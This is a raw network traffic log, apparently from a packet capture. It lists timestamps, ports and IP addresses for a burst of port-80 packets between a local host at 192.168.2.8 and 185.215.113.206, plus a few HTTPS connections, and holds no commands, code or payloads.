Nov 21, 2024 19:58:45.978694916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.978812933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.978889942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.979110003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.979396105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.979604006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.980123043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.980129957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.980214119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.980246067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.980362892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.980794907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.980848074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.981035948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.981473923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.981583118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.981592894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.981686115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.982359886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.982784033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.982886076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.983103037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.983288050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.983380079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.983417034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.983661890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.983762980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.983814001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.983879089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.984325886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.984438896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.984479904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.984603882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.984993935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.985183001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.985434055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.985697031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.985845089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.986172915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.986383915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.986392975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.986490965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.987138033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.987145901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.987304926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.987373114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.987406969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.987896919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.987905025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.987970114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.988485098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.988604069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.988859892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.989358902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.989402056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.989445925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.989542007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.989905119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.990067005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.990248919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.990623951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.990631104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.990662098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.990820885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.991401911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.991410971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.991569042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.992022038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.992486000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.992718935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.992726088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.992887020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.992922068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.993119001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.993434906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.993443012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.993558884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.994355917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.994438887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.994499922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.994591951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.995011091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.995018959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.995250940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.995532036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.995708942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.996256113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.996263981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.996282101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.996361971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.996361971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.996952057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.997123957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.997220039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.997632980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.997886896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.997922897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.998099089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.998338938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.998500109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.999056101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.999063015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.999068975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.999305010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.999711037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.999878883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.056885958 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:46.056931019 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:46.057041883 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:46.057248116 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:46.057265997 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:46.114731073 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:46.114995003 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:46.115034103 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:46.115971088 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:46.116157055 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:46.117234945 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:46.117305994 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:46.117453098 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:46.162261009 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:46.162312984 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:46.174139023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.174287081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.174417973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.174551010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.174556971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.174597979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.174653053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.175216913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.175364017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.175370932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.175507069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.175869942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.176021099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.176070929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.176189899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.176582098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.176680088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.176953077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.177093983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.177269936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.177352905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.177387953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.177476883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.177906990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.178056002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.178086996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.178186893 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.178623915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.178731918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.179351091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.179390907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.179399967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.179429054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.179507971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.180046082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.180151939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.180274963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.180396080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.180794954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.180881023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.180937052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.181217909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.181440115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.181587934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.181587934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.181705952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.182184935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.182457924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.182574034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.182703972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.182862997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.182868958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.182928085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.184195042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.184205055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.184253931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.184300900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.184376001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.184473038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.184600115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.185689926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.185698986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.185710907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.185717106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.185818911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.186465979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.186573029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.186666012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.186769009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.187103033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.187109947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.187233925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.187764883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.187905073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.188108921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.188199997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.188481092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.188666105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.188672066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.188847065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.189182997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.189191103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.189373016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.189879894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.189968109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.189975977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.190102100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.190567970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.190901041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.190947056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.191040039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.191318989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.191328049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.191468000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.191986084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.192159891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.192179918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.192301035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.192651033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.193181992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.193366051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.193372011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.193382025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.193450928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.194062948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.194135904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.194209099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.194348097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.194839954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.194971085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.195300102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.195377111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.195497990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.195503950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.195652008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.196146965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.196254015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.196898937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.196904898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.196917057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.197072029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.197604895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.197740078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.197925091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.198045969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.198417902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.198539972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.198649883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.198808908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.198976040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.199059010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.199078083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.199207067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.199774981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.199801922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.200098991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.200443983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.200618029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.201095104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.201101065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.201188087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.201267958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.201442957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.201767921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.201807022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.201865911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.201981068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.202550888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.202557087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.202687025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.203216076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.203332901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.203823090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.203946114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.203950882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.203953981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.204075098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.204791069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.204797983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.205039024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.205293894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.205497980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.205570936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.205667973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.206024885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.206032038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.206140995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.206751108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.206816912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.206963062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.207700968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.207833052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.208069086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.208369970 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:46.208372116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.208415985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.208461046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.208798885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.208964109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.209352016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.209543943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.209872961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.210129023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.210223913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.210235119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.210263968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.210485935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.210906029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.210990906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.278876066 CET	443	49789	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:46.280108929 CET	49789	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:46.280108929 CET	49789	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:46.280127048 CET	443	49789	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:46.280134916 CET	443	49789	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:46.280174971 CET	49789	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:46.280183077 CET	443	49789	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:46.410047054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.410074949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.410135984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.410166979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.410167933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.410278082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.410511971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.410641909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.410830975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.411009073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.411103964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.411595106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.411602020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.411613941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.411766052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.412349939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.412538052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.412564993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.412744999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.412959099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.413249016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:46.413295984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:46.413674116 CET	80	49746	185.215.113.206	192.168.2.8
